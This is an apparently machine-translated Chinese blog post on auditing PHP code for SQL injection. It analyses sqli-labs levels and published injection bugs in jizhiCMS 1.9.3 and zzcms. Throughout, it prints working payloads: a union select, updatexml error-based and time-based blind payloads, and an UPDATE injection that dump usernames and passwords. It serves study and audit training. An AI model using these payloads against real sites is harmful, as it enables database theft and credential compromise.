PHP Code Audit 4—Sql Injection Vulnerability

1. Basic review of SQL injection

1. What is SQL injection

Injection attack is the most common attack method in the field of web security, and injection attack is often dominated by SQL injection. The difference between SQL injection and other types of injection vulnerabilities is that the operation object of SQL injection vulnerabilities is the database, and the direct victim is the database server.

To put it simply, SQL injection is a vulnerability that inserts SQL statements into forms or other parameters, allowing the server to execute unexpected SQL statements.

2. The cause of SQL injection

The generation of a vulnerability often depends on many reasons, and SQL injection is no exception:

  • One is that there is no constraint on the incoming data format
  • The second is that the incoming data is not filtered and escaped
  • The third is to use the method of splicing parameters to construct the SLQ statement

3. Classification of SQL injection

Divided according to the incoming data type:

  • digital
  • character type
    • Single quote character injection
    • double quote character injection
    • String injection with parentheses

According to the method of data submission:

  • POST type
  • GET type
  • http header injection
  • cookie injection

According to whether there is echo:

  • With echo: the front-end page can echo the results of SQL statement execution, such as joint injection and error injection
  • No echo: The front-end page cannot see the echoed content, such as secondary injection and blind injection.

4. Defense methods for SQL injection

There are also many defense methods for SQL injection, but some defense methods may be bypassed under certain conditions. The methods summarized here are as follows:

  • Restrict and filter the format of the incoming parameters

  • Escape incoming special characters, such as using functions like Mysql_real_escape_string() or addslashes() in PHP.

  • Use mysqli or PDO for parameterized queries. For example, the following example:

    $query = "SELECT filename, filesize FROM users WHERE (name = ?) and (password = ?)";   
    $stmt = $mysqli->stmt_init();     
    if ($stmt->prepare($query)) {
          
            
        $stmt->bind_param("ss",$username, $password);  
        $stmt->execute();  
        $stmt->bind_result($filename,$filesize);  
        while($stmt->fetch()) {
          
            
            printf ("%s : %d\n",$filename, $filesize);  
        }  
        $stmt->close();
    }
    

Two, Sql-lib audit analysis

1. Less-10 code analysis

Since it is relatively simple, here we directly look at the code:

$id = '"'.$id.'"';  // 可以看到,在传入的ID的前后加上了双引号。
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; //直接拼接$id到SQl语句中。并且没有对传入的参数做转义或者过滤处理。
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
    
    
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    echo "</font>";
  }

It can be seen that this is a character injection vulnerability wrapped in double quotes. As long as the ID parameter we pass in uses double quotes to close the double quotes attached in front of the ID, it can be successfully injected. However, it can be seen that no database-related information is output here, but only the existence of the query result is judged, and then the specified content is output, so this is a Boolean blind injection.

2. Less-11 code analysis

$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";  //简单的使用单引号包裹了传入的变量,但是并未对参数进行过滤或者转义处理,很明显的SQL注入漏洞。
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
	{
    
    
  	echo "<br>";
		echo '<font color= "#FFFF00" font size = 4>';
		echo '<font size="3" color="#0000ff">';	echo "<br>";
		//查询成功输出username和passwd
		echo 'Your Login name:'. $row['username'];echo "<br>";
		echo 'Your Password:' .$row['password'];echo "<br>";
		echo "</font>";echo "<br>";echo "<br>";
		echo '<img src="../images/flag.jpg"  />';echo "</font>";
  }else  {
    
    
		echo '<font color= "#0000ff" font size="3">';
  	//sql语句执行失败,打印出错误信息,说明可以利用报错信息来判断SQL语句的结构。同时,扯一个无关的话题,由于是直接对报错的内容进行输出,熟悉mysql报错的都知道,报错内容会包含我们输入的一部分,所以这也是一个XSS漏洞,主不过属于反射型。
		print_r(mysql_error());echo "</br>";
		echo "</br>";echo "</br>";
		echo '<img src="../images/slap.jpg" />';	echo "</font>";  
	}

Now that the analysis is clear, let's exploit the vulnerability. The following is a payload that obtains all accounts and passwords in the database (the steps of checking table names and column names are skipped):

uname=admin&passwd=admin1'%20union%20select%20group_concat(username),group_concat(password)%20from%20users--+&submit=Submit

Execution can see that all user names and user passwords in the database users table have been queried.

insert image description here

3. Less-19 code analysis

First of all, we see that there is an input verification function in the code:

function check_input($value){
    
    
  //截取传入的值的前20个字节(限制了输入长度)
	if(!empty($value)){
    
    
		$value = substr($value,0,20);
	}
  //特殊字符转义
	if (get_magic_quotes_gpc()){
    
    
		$value = stripslashes($value);
	}
  //字符型参数使用ysql_real_escape_string函数防御SQL注入,整形数据进行强制类型转换
	if (!ctype_digit($value)){
    
     
		$value = "'" . mysql_real_escape_string($value) . "'";
	}elss{
    
    
		$value = intval($value);
	}
	return $value;
}

After the data we pass in is filtered by the above function, it is quite difficult to continue SQL injection. But let's look at the core function source code:

$uagent = $_SERVER['HTTP_REFERER'];
$IP = $_SERVER['REMOTE_ADDR'];
//对传入的参数使用了校验函数进行过滤
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
//执行SQL语句,
$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
	if($row1){
    
    
    //插入http头信息到security表中
		$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
		mysql_query($insert);
		echo 'Your Referer is: ' .$uagent;
		print_r(mysql_error());			
	}else{
    
    
		print_r(mysql_error());
	}

From the source code, we can see that it is not feasible to perform SQL injection through form parameters, but there is another place where we execute SQL statements, that is, where the HTTP header information is inserted. Since the HTTP header is not filtered here, At the same time, the mysql_error() function is used for error output, so we can use error injection to exploit it. The following is a payload for obtaining database information through error reporting:

 'or updatexml(1,concat(0x7e,(select group_concat(concat_ws(':',username,password)) from users),0x7e),1) or '1'='1

The query result is to directly output all user names and corresponding passwords in the users table, but part of the result is displayed, and it is interrupted from the back D. It is guessed that it may be the reason for the limitation of the output length, which has not been investigated further:

insert image description here

4. Less-25 code analysis

First of all, we found that there is a blacklist() function, the code of which is as follows:

function blacklist($id)
{
    
    
	$id= preg_replace('/or/i',"", $id);//strip out OR (non case sensitive)
	$id= preg_replace('/AND/i',"", $id);//Strip out AND (non case sensitive)
	return $id;
}

It can be seen that the function of this function is to set a blacklist through the preg_relace function, and filter or and and using regular expressions. But those who are familiar with blacklist filtering know that this method can be bypassed by double writing. There is no security at all.

Looking at the core code related to the SQL query statement:

	$id=$_GET['id'];
	$id= blacklist($id);  //使用黑名单过滤and和or
	$hint=$id;
	$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";   //直接拼接SQL语句,使用的单引号包裹变量,可见是字符型的SQL注入。
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);
	if($row)
	{
	  	echo "<font size='5' color= '#99FF00'>";	
	  	echo 'Your Login name:'. $row['username'];echo "<br>";
	  	echo 'Your Password:' .$row['password'];echo "</font>";
  }else{
      echo '<font color= "#FFFF00">';
      print_r(mysql_error());echo "</font>";   //使用了mysql_error,岂不是还可以使用报错注入。
	}

Now that the analysis is almost done, let’s attach a payload that uses error injection for exploitation:

?id=-1'%20oORr%20updatexml(1,concat(0x7e,(select group_concat(concat_ws(':',username,id))%20from%20users),0x7e),1)%20oOrr%20'1'='1

5. Less-35 code analysis

First of all, the same, a security filtering function check_addslashes() is used here, the specific code is as follows:

function check_addslashes($string)
{
    
    
    $string = addslashes($string);
    return $string;
}

It can be seen that the addslashes() function is used to escape the special characters of the incoming parameters. This situation can also be exploited under certain circumstances. Let's take a look at the core function code first:

$id=check_addslashes($_GET['id']); //对传入的参数进行转义
mysql_query("SET NAMES gbk");   //设置默认编码为GBK编码,熟悉sql注入的的小伙伴都知道,这种情况下就可能存在宽字节注入。
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";  //直接拼接变量,并且没有使用引号包裹,说明此处可能存整形注入
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
	if($row)
	{
    
    
  	echo '<font color= "#00FF00">';	
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
    
    
	echo '<font color= "#FFFF00">';
	print_r(mysql_error()); //还是使用了mysql_error()输出报错信息
	echo "</font>";  
	}
}

In fact, after the analysis, the idea is very clear. The way to use it is to obtain database information through shaping injection. Of course, you may need to use quotation marks when performing some special operations, so you can consider using wide byte injection. Here is the payload that uses plastic injection to obtain user information:

?id=-1%20or%201=1%20limit%201,1%20--+

3. Example: Extreme CMS SQL Injection Vulnerability Analysis

System version: jizhiCMS 1.9.3

I won’t go into details about the environment construction, it’s all set up online. As a study note, it is inevitable to refer to many articles of great gods, which are all written at the end of the article. The writing is not necessarily good, but it records the personal learning process, and friends who are interested can read it. Of course, it is recommended that you go directly to the articles of the masters behind.

1. System architecture analysis

├── 404.html
├── A	后台控制文件
├── Conf公共函数
├── FrPHP框架
├── Home前台控制文件
├── Public公共静态文件
├── README.md
├── admin.php后台入口
├── backup备份
├── cache缓存  
├── favicon.ico
├── index.php前台入口
├── install系统安装文件
├── readme.txt
├── static静态文件
└── web.config

2. Filter function analysis

First of all, let's analyze the two filter functions in this CMS like all the great gods: frparam() function and format_param() function.

1) Analysis of frparam() function

Function location: FrPHP\common\Functions.php

As a rookie, I only have to write down the analysis step by step. See below for details:

// 获取URL参数值
	public function frparam($str=null, $int=0,$default = FALSE, $method = null){
    
    
		$data = $this->_data;
		if($str===null) return $data;
		if(!array_key_exists($str,$data)){
    
    
			return ($default===FALSE)?false:$default;
		}
		if($method===null){
    
    
			$value = $data[$str];
		}else{
    
    
			$method = strtolower($method);
			switch($method){
    
       //通过switch语句来获取传入的参数,并为$value赋值
				case 'get':
				$value = $_GET[$str];  //获取GET传输参数
				break;
				case 'post':
				$value = $_POST[$str];  //获取POST传输的参数
				break;
				case 'cookie':
				$value = $_COOKIE[$str];  //获取cookie
				break;
			} 
		}
		return format_param($value,$int,$default);	//使用format_param()函数处理$value
	}

2) Analysis of format_param() function

Function location: \FrPHP\common\Functions.php, this file stores some functions of data filtering and encoding escape.

The specific analysis is as follows:

/**
	参数过滤,格式化
**/
function format_param($value=null,$int=0,$default=false){
    
    
	if($value==null){
    
     return '';}
	if($value===false && $default!==false){
    
     return $default;}
	switch ($int){
    
    
		case 0://整数
			return (int)$value;
		case 1://字符串
			$value = SafeFilter($value);//过滤XSS攻击,使用正则来匹配关键字,匹配成功则替换为空字符串
			$value=htmlspecialchars(trim($value), ENT_QUOTES); //进行html实体编码
			if(version_compare(PHP_VERSION,'7.4','>=')){
    
    
				$value = addslashes($value);  //PHP版本大于7.4,则使用addslashes()转义特殊字符
			}else{
    
    
				if(!get_magic_quotes_gpc())$value = addslashes($value);
			}
			return $value;
		case 2://数组
			if($value=='')return '';
			array_walk_recursive($value, "array_format");//使用自定义函数来过滤数组的内容(转义和实体编码)
			return $value;
		case 3://浮点
			return (float)$value; //强制转换为float型
		case 4:
			if(version_compare(PHP_VERSION,'7.4','>=')){
    
    
				$value = addslashes($value);
			}else{
    
    
				if(!get_magic_quotes_gpc())$value = addslashes($value);
			}
			return trim($value);
	}
}

It can be seen from this that the function will judge whether the variable format_param()passed in is an integer or a string through the variable and then do a corresponding processing. In general, the function will filter the passed parameters.$value$intfrparam()

Overall, the data processing is very perfect. For SQL injection vulnerabilities, int is used for mandatory conversion of integer data, and the addslashes function is used for character data to escape special symbols such as single and double quotes. For array variables, a custom function is also used to filter and escape all the values ​​in the array.

3. In-depth analysis of specific vulnerabilities: CNVD-2021-40161

First of all, we come to the plug-in configuration in the background, install a plug-in casually and click Configure to capture packets:

insert image description here

From the content of the captured packet, the request method is to use the GET method directly to make the request:

insert image description here

We can see that the request method is a direct GET request. Let's enter A/c/PluginsController.php to see the setcon function. It can be found that when configuring the plug-in, our POST parameters are directly obtained here, and then the parameters are passed into our plug-in handler without processing:

function setconf(){
    
    
		$id = $this->frparam('id');
		$plugins = M('plugins')->find(['id'=>$id]);
		if($id && $plugins){
    
    
			//忽略Notice报错
			error_reporting(E_ALL^E_NOTICE);
			//执行插件控制器卸载程序
			$dir = APP_PATH.APP_HOME.'/exts';
			require_once($dir.'/'.$plugins['filepath'].'/PluginsController.php');
			$plg = new \A\exts\PluginsController($this->frparam());
			//转入插件内部处理
			if($_POST){
    
    
				$plg->setconfigdata($_POST);//将获取到的配置数据,直接传入插件内部处理
				exit;
			}
			$plg->setconf($plugins);
			exit;
		}
		JsonReturn(array('code'=>1,'msg'=>'参数错误,必须携带插件ID!'));
		//Error('参数错误!');
	}

Let's take a look at the function setconfigdata() that enters the POST data. Since we are using the ban IP plug-in, this function exists in A\exts\banip\PluginsController.php.

public function setconfigdata($data){
    
    
		
		M('plugins')->update(['id'=>$data['id']],['config'=>json_encode($data, JSON_UNESCAPED_UNICODE )]);
		setCache('hook',null);//清空hook缓存
		JsonReturn(['code'=>0,'msg'=>'设置成功!']);
	}

In this function, the update function is used for data processing. We then track the update function. When we search for this function, we find that there are two update functions in the system, one is the update that exists in the A\c\PluginsController.php file () function, the function of this function is to update the plug-in, obviously not the function we are looking for, that is another one: the update() function under A\c\PluginsController.php.

 public function update($conditions,$row)
    {
    
    
        $where = "";
		$row = $this->__prepera_format($row);  //将我们传入的数据存储到$row中
		if(empty($row))return FALSE;
		if(is_array($conditions)){
    
        
			$conditions = $this->__prepera_format($conditions); //获取传入的数据,包括IP和屏蔽提示,是一个数组型变量。
			$join = array();
			foreach( $conditions as $key => $condition ){
    
    
				$condition = '\''.$condition.'\'';  //获取id存入join数组中。
				$join[] = "{
      
      $key} = {
      
      $condition}";
			}
			if(count($join)){
    
    
				$where = "WHERE ".join(" AND ",$join);   //通过SQL语句的where参数。eg:$where="where id='1'"。
			}
		}else{
    
    
			if(null != $conditions)$where = "WHERE ".$conditions;
		}
		foreach($row as $key => $value){
    
       //从$row中获取我们传入的值,通过key循环中。
			if($value!==null){
    
    
				$value = '\''.$value.'\''; //在数据不为空的情况下,将传入的数据使用单引号拼接到$value变量中。比如传入的数据是:{"id":"1","ips":"1.1.1.1","tip":"ou,no"},拼接后则是;'{"id":"1","ips":"1.1.1.1","tip":"ou,no"}'。
				$vals[] = "{
      
      $key} = {
      
      $value}"; //将数组中的键和值在进行一次拼接,拼接成一个key=value格式的字符串。由于前面使用了单引号拼接value,此处的精确格式应该是:key='value'。
			}else{
    
    
				$vals[] = "{
      
      $key} = null"; 
			}	
		}
		$values = join(", ",$vals);  //将vals数组中的数据转换为一个字符串
		$table = self::$table;
		$sql = "UPDATE {
      
      $table} SET {
      
      $values} {
      
      $where}";  //生成SQL语句,以$table="jz_plugins",$where="where id='1'",$values="config = '{"id":"1","ips":"1.1.1.1","tip":"ou,no"}'"为例。此时的SQL语句应该是:
  // UPDATE jz_plugins SET config = '{"id":"1","ips":"1.1.1.1","tip":"ou,no"}' WHERE id = '1'
		return $this->runSql($sql);
    }

Through the above analysis, it can be found that since the update data is not processed by the filter function, it is directly transmitted to the plug-in for use. At the same time, the method of splicing data with single quotation marks is used to construct the SQL statement. Then the problem is obvious. If we construct a Data with single quotes can cause SQL injection. It's just that this is an update-type injection, and whether stack injection can be generated requires further research.

4. Exploitation

Since this vulnerability is an update-type injection, the methods that can be exploited are relatively limited. For example, operations such as getshell are relatively difficult. But it does not prevent us from bursting out the contents of the database. The following example explodes the database content by updating the author field:

insert image description here

Above we used burpsuite to capture packets and modify the parameters. At this time, the SQL statement executed on the backend is:

UPDATE jz_plugins SET config = '{"id":"1","ips":"2.2.2.2","tip":"on no\"}',author=(databse()) where id='1';#"}' WHERE id = '1'

Then after we execute it successfully, we go back to the front end, and we can see that the author's name has changed to the database name:

insert image description here

4. Example: ZZCMS SQL injection vulnerability analysis

System environment: ZZcms 7.2

The vulnerability analyzed this time exists in zzCMS <= v8.2 version. The specific location is /user/del.php, which is a vulnerability disclosed in 2021. It is used here as an exercise for analysis.

1. Seay automatic audit

Through the automatic audit results of the Seay source code audit system, it can be seen that there are variables in the del.php file that are not protected by single quotes, and there may be SQL injection vulnerabilities.

insert image description here

2. In-depth analysis of /user/del.php

First, let's take a look at where to get parameters:

$pagename=isset($_POST["pagename"])?$_POST["pagename"]:'';
$tablename=isset($_POST["tablename"])?$_POST["tablename"]:'';
$id='';
if(!empty($_POST['id'])){
    
    
    for($i=0; $i<count($_POST['id']);$i++){
    
    
      checkid($_POST['id'][$i]);
      $id=$id.($_POST['id'][$i].',');
    }
	$id=substr($id,0,strlen($id)-1);//去除最后面的","
}

First, the pagename and tablename are obtained through POST. Then, when the id is passed in, the checkid() function is used to check each character in the id value in turn, and then spliced ​​​​to the new $id.

Let's take a look at the function and structure of the checkid() function (this function is in inc/function.php):

function checkid($id,$classid=0,$msg='无'){
    
    
  if ($id<>''){
    
    
    if (is_numeric($id)==false){
    
    showmsg('参数 '.$id.' 有误!');}
    if ($classid==0){
    
    //查大小类ID时这里设为1
        if ($id<1){
    
    showmsg('参数 '.$id.'有误!\r\r提示:'.$msg);}//翻页中有用,这个提示msg在其它地方有用
      }
    }
}

It can be seen that this function detects our data format, so there is no way to inject it through the id parameter. However, we can find that the parameter passed in is not limited to the id parameter, and $tablenameis $pagenameobtained directly through POST. Then we look at the code all the way down, on lines 75-79 of the source file:

if (strpos($id,",")>0){
    
    
		$sql="select id,img,editor from `".$tablename."` where id in (".$id.")";
	}else{
    
    
		$sql="select id,img,editor from `".$tablename."` where id ='$id'";
	}

It can be seen that the sql statement is constructed here by splicing SQL parameters (all Sql statements constructed in this way in the future), and we just mentioned that the parameter tablename here is obtained directly through POST. Without any filtering, it means that there is a SQL injection vulnerability. But let's analyze the code logic carefully:

if ($tablename=="zzcms_main"){
    
    
	......
}elseif ($tablename=="zzcms_pp" || $tablename=="zzcms_licence"){
    
    
	......
}elseif ($tablename=='zzcms_guestbook'){
    
    
	......
}elseif ($tablename=='zzcms_dl'){
    
    
	.......
}else{
    
      //源文件139行
  if (strpos($id,",")>0){
    
    	
    $sql="select id,editor from `".$tablename."` where id in (". $id .")";
    }else{
    
    	
    $sql="select id,editor from `".$tablename."` where id ='$id'";
    }
    $rs=query($sql);
    ..........
}

It can be seen that if we want to use the tablename parameter to inject, then our previous if judgment cannot pass, and we can only inject the code in the last else module, so the actual injection point of the vulnerability is in our source file The positions from line 139 to line 145 of the . The purpose of injection is achieved by constructing tablename to close the SQL statement.

3. Vulnerability recurrence

Prelude: Since we have just built the system, there is nothing in it, so we need to get something in to let it trigger our loopholes. The specific steps can be found in the references at the end of the paper.

First, we grab the packet through normal operation:

insert image description here

Then construct the payload:

id=1&tablename=zzcms_ztad%20where%20id=1%20and%20if((ascii(substr(database(),0,1))=123),sleep(5),1)#

Since there is no echo here, it can only be injected through blind injection. The online ones referenced by the poc script will not be posted.

But there is a problem here. Tip: At the beginning, the zzcms7.2 version I used will detect the tablename. Only when the incoming table name exists in all the table name arrays found in the database will the sql be executed, otherwise It will prompt tablename error. After changing to version 8.2, it was successfully used.

5. References

Supongo que te gusta

Origin blog.csdn.net/qq_45590334/article/details/125840948
Recomendado
Clasificación